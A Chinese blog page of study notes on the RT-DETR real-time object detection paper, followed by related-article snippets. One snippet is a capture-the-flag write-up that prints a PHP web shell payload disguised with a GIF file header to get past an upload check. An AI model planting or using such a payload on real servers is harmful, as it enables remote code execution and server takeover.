论文学习:RT-DETR

news2024/11/23 19:02:03

RT-DETR

摘要

  • DETR取得显著性能,但高成本计算使其无法发挥无NMS的优势,无法实际应用。
  • 本文分析了NMS对准确性和速度的负面影响,并建立端到端的速度基准。
  • 第一个实时端到端检测器,高效处理多尺度特征,并提出IoU-aware query selection,向解码器提供了更高质量的初始object queries
  • 可以灵活调整解码器层数来调整推理速度,不需要重新训练。
  • 速度和精度都优于相同规模最先进的YOLO检测器。

介绍

  • 尽管多尺度特征的引入有利于加速训练收敛和提高性能[49],但它也会导致编码器中序列长度的显著增加。
  • 设计了高效的混合编码器来取代原来的transformer编码器。解耦了多尺度特征的尺度内交互和尺度间融合。
  • 解码器的object queries初始化方案对检测性能至关重要,提出了IoU-aware query selection,通过在训练期间提供IOU约束来向解码器提供高质量的初始object queries
  • 可以灵活调整解码器层数来调整推理速度,不需要重新训练。
  • 文章贡献:1.第一个实时端到端对象检测器,速度精度达到SOTA。2.分析了NMS的影响。3.通过调整解码器层数,灵活调整推理速度不需要重新训练。

在这里插入图片描述

相关工作

  • 实时对象检测:YOLO系列为标杆,锚框不再制约YOLO速度,而是NMS。
  • 端到端目标检测:DETR,(收敛慢,查询难优化);deformableDETR,通过提高注意力机制的效率,加速了多尺度特征的训练收敛;Conditional DETR、Anchor DETR 降低了查询的优化难度;DAB-DETR引入4D参考点,并逐层优化预测框;DN-DETR通过引入查询去噪来加速训练收敛。Group-DETR通过引入分组一对多任务来加速训练。DINO建立在以前的工作基础上,取得了最先进的成果。
  • 目标检测的多尺度特征:多尺度特征可以提高性能,尤其对于小物体,FPN在对象检测中广泛使用,引入DETR后提高了性能,但计算成本显著增加;Efficient DETR通过使用密集先验初始化对象查询来减少编码器和解码器层的数量。Sparse DETR选择性地更新期望由解码器引用的编码器令牌,从而减少计算开销。Lite DETR通过以交错方式降低低级别特征的更新频率来提高编码器的效率。这些工作减少了计算成本,但并没有使DETR成为实时检测器

检测器的端到端速度

  • NMS的分析:NMS的执行时间取决于预测框的数量和两个超参数(得分阈值,IOU阈值);文章实验了有锚和无锚,的不同得分阈值下的锚框数量,不同得分阈值和IOU阈值下的AP和NMS耗时。证明了NMS对超参数的敏感性
  • 在这里插入图片描述
  • 建立了统一的推理速度基准后,测试了不同检测器的推理速度,结论为无锚在同等精度上优于基于锚的(会产生更多的预测框),后处理时间名明显减少。
  • 在这里插入图片描述

RT-DETR模型

  • 模型概述:由主干、混合编码器和带辅助预测头的变换解码器组成。

  • 利用骨干{S3,S4,S5}的最后三个阶段的输出特征作为编码器的输入。混合编码器通过尺度内交互(AIFI)和跨尺度融合(CCFM)将多尺度特征转换为一系列图像特征。随后,采用IoU感知查询选择从编码器输出序列中选择固定数量的图像特征,作为解码器的初始对象查询。最后,具有辅助预测头的解码器迭代地优化对象查询以生成框和置信度得分。

  • 在这里插入图片描述

  • 高效混合编码器:优化了Deformable-DETR中多尺度transformer编码器中的计算冗余,连接的多尺度之间进行特征交互是多余的,并设计了ABCDE一系列的编码器变体进行实验验证;证明多尺度特征交互解耦为尺度内交互和跨尺度融合后提高了模型准确性并显著降低了计算成本

  • 在这里插入图片描述

  • 在这里插入图片描述

  • 混合编码器结构: 基于注意力的AIFI和基于CNN的CCFM;AIFI仅在S5上执行尺度交互;CCFM在融合路径中插入了几个由卷积层组成的融合块,融合块将相邻特征合并为一个新特征;

  • 在这里插入图片描述

  • RepBlock是什么?

  • IoU-aware Query Selection:DETR中的object queries ,难以解释和优化;后续工作对其初始化进行改进,增加了内容查询和位置查询。查询选择方案:利用分类得分从编码器中选择前K个特征来初始化object queries,但由于分类分数和位置置信度分布不一致,导致了高分类分数和低IOU分数的框;本文提出的IoU-aware Query Selection,在训练过程中约束模型为具有高IOU分数的特征产生高分类分数,为具有低IOU得分的特征产生低分类分数。因此选出的前K个预测框具有高分类得分和高IOU得分。将IOU分数引入分类分支的目标函数中

  • 有效性分析:通过可视化普通选择(红)和IoU-aware Query Selection(蓝),可以发现蓝的更多且质量更好(靠右上)

  • 在这里插入图片描述

实验

  • 在COCO上进行实验,对比YOLO,SOTA和其他端到端检测器,都有显著提升
  • 混合编码器的消融实验,见ABCDE的对照表,证明了尺度内特征交互,跨尺度特征融合,解耦两者和只对最高S5进行编码的正确性。
  • IoU-aware Query Selection的消融实验:根据分类得分选择前K个编码器特征作为内容查询,并将这些所选特征对应的边界框用作初始位置查询,结果证明可以显著提升高分类和IOU分数的比例
  • 在这里插入图片描述
  • 解码器消融实验:实验了不同层数的RT-DETR的每个解码层的准确率和速度,精度的提升率逐层减少而时间消耗每层不变。
  • 在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1045215.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

大型IT系统的UML类图设计实践与管理

导言: 在现代软件开发中,建立大型IT系统的UML类图是一项至关重要的任务。这些类图扮演了关键角色,帮助开发团队理清系统的结构、功能和关系。然而,随着系统规模的增大,类图的设计和管理变得复杂起来。本文将探讨一些关…

Python——— 异常机制

(一)异常 工作中,程序遇到的情况不可能完美。比如:程序要打开某个文件,这个文件可能不存在或者文件格式不对;程序在运行着,但是内存或硬盘可能满了等等。 软件程序在运行过程中,非常…

8、SpringBoot_多环境开发

二、多环境开发 1.概述 概述:开发环境、测试环境、生产环境 分类 开发环境 spring:datasource:druid:url: jdbc:mysql://localhost:3306/springboot_ssmusername: rootpassword: 123456driver-class-name: com.mysql.cj.jdbc.Driver测试环境 spring:datasource:dr…

[WUSTCTF2020]CV Maker 文件头检查

这道很简单 首先注册登入 很显然是我们文件上传 我们直接随便上传一个看看 报错了我们去看看 这个 exif是什么 就是检查文件头 那我们直接修改文件头上传即可 GIF89a <script language"php">eval($_POST[cmd]); </script> 上传修改php即可

全网最全Python系列教程(非常详细)---字符串讲解(学Python入门必收藏)

&#x1f9e1;&#x1f9e1;&#x1f9e1;这篇是关于Python中字符串的讲解&#xff0c;涉及到以下内容&#xff0c;欢迎点赞和收藏&#xff0c;你点赞和收藏是我更新的动力&#x1f9e1;&#x1f9e1;&#x1f9e1; 本文将从以下几个方面展开对字符串的讲解&#xff1a; 1、字…

如何在Python中实现安全的密码存储与验证

在现代互联网时代&#xff0c;安全性已经成为一个非常重要的问题。在我们的日常生活中&#xff0c;我们会使用许多网站和应用程序&#xff0c;而这些网站和应用程序通常要求我们提供密码来保护我们的个人信息。然而&#xff0c;密码泄露事件时有发生&#xff0c;我们经常听到关…

@ConditionalOnProperty配置属性作为条件

1.ConditionalOnProperty​做什么用的&#xff1f; 主要是根据配置参数&#xff0c;来决定是否需要创建这个bean&#xff0c;这样就给了我们一个根据配置来控制Bean的选择的手段了&#xff0c;不启用只需要更改配置即可。 ​ConditionalOnProperty​源码 package org.springf…

进程管理--CFS调度器(1)

介绍 CFS&#xff08;Completely Fair Scheduler&#xff0c;完全公平调度器)用于Linux系统中普通进程的调度。它给cfs_rq&#xff08;cfs的run queue&#xff09;中的每一个进程设置一个虚拟时钟&#xff0c;vruntime。如果一个进程得以执行&#xff0c;随着时间的增长&#…

Pycharm在进行debug时出现collecting data如何解决?

Pycharm在进行debug时变量界面出现collecting data&#xff0c;问题如下&#xff1a; 解决方法&#xff1a;打开Setting界面&#xff0c;在Python Debugger选项中勾选下图中的Gevent compatible即可。

iOS CocoaPod 打包:SDK开发、Pod组件生成等

参考链接&#xff1a;CocoaPod打包 SDK开发 - 简书 iOS非集成打包&#xff1a;依赖cocoapods的Swift静态库打包、脚本合并真机与模拟器 - 简书 iOS 组件化开发----pod私有库制作及使用_ios组件化开发-CSDN博客 1.生成pod包命令 pod lib create testTools 如果提示&#xf…

img 固定宽高 图像不拉伸 显示图片中间部分

.m-sd-chat-select-avatar-img{width: 100px;height: 125px;object-fit: cover;border-radius: 6px;cursor: pointer;} 使用后&#xff1a; 使用前&#xff1a;

Django 联表查询操作

在日常的开发中&#xff0c;常常需要对多张数据表同时进行数据查询。多表查询需要在数据表之间建立表关系才能够实现。一对多或一对一的表关系是通过外键实现关联的&#xff0c;而多表查询分为正向查询和反向查询。 表模型结构 以歌手表、专辑表、单曲表查询为例子。 歌手与专…

RK3588 VDD_LOGIC电源PCB设计注意事项

RK3588 VDD_LOGIC电源PCB设计 1、VDD_LOGIC的覆铜宽度需满足芯片的电流需求&#xff0c;连接到芯片电源管脚的覆铜足够宽&#xff0c;路径不能被过孔分割太严重&#xff0c;必须计算有效线宽&#xff0c;确认连接到CPU每个电源PIN脚路径都足够。 2、如图1所示&#xff0c;原理…

Scrapy-应对反爬虫机制

参考自https://blog.csdn.net/y472360651/article/details/130002898 记得把BanSpider改成自己的项目名&#xff0c;还有一个细节要改一下&#xff0c;把代码user换成user_agent 禁止Cookie 在Scrapy项目中的settings文件&#xff0c;可以发现文件中有以下代码: COOKIES_ENA…

红黑树-自平衡二叉搜索树

一、简介 红黑树&#xff08;Red-Black Tree&#xff09;是一种自平衡的二叉搜索树&#xff0c;它的节点可以是红色或黑色。这个颜色的设计是为了满足红黑树的五个关键性质&#xff0c;确保树保持平衡和高效地支持插入、删除和搜索操作。 以下是红黑树的五个关键性质&#xf…

【Unity3D日常开发】Unity3D中Quality的设置参考

推荐阅读 CSDN主页GitHub开源地址Unity3D插件分享简书地址我的个人博客 大家好&#xff0c;我是佛系工程师☆恬静的小魔龙☆&#xff0c;不定时更新Unity开发技巧&#xff0c;觉得有用记得一键三连哦。 一、前言 这篇文章就来讲一下Quality的设置&#xff08;Unity版本&#…

浪潮信息被Gartner评为全球文件存储标杆厂商

近日&#xff0c;国际权威研究机构 Gartner 正式发布《2023年存储和数据保护技术成熟度曲线报告》&#xff08;(Hype Cycle for Storage and Data Protection Technologies, 2023&#xff0c;以下简称“报告”&#xff09;&#xff0c;基于对市场应用的前瞻洞察和多年的技术精耕…

518抽奖软件,一键打印中奖名单的方法和用途

518抽奖软件简介 518抽奖软件&#xff0c;518我要发&#xff0c;超好用的年会抽奖软件&#xff0c;简约设计风格。 包含文字号码抽奖、照片抽奖两种模式&#xff0c;支持姓名抽奖、号码抽奖、数字抽奖、照片抽奖。(www.518cj.net) 一键打印中奖名单 主窗口上按 CtrlP 打开 {…

在关系型数据库中储存树形结构

adjacency list 邻接表显然是最简单的方式&#xff0c;也是在实践中经常用到的。其储存节点以及直接父节点来进行储存树形结构 邻接表结构简单&#xff0c;查询修改节点的直接父节点都很容易。然而如果返回父节点下的所有节点之类的跨层操作那就很麻烦了&#xff0c;需要频繁…

matlab实现杨氏双缝干涉实验可视化界面

关于杨氏双缝干涉实验的条纹光强理论推导和matlab绘图可以参考下面的链接&#xff1a;杨氏双缝干涉实验matlab实现 接下来利用GUI实现可视化界面。 一、GUI GUIDE简介 1、在命令行窗口输入小写的guide可以自动弹出fig窗口。 2、界面的左侧是常用的工具&#xff0c;鼠标悬停…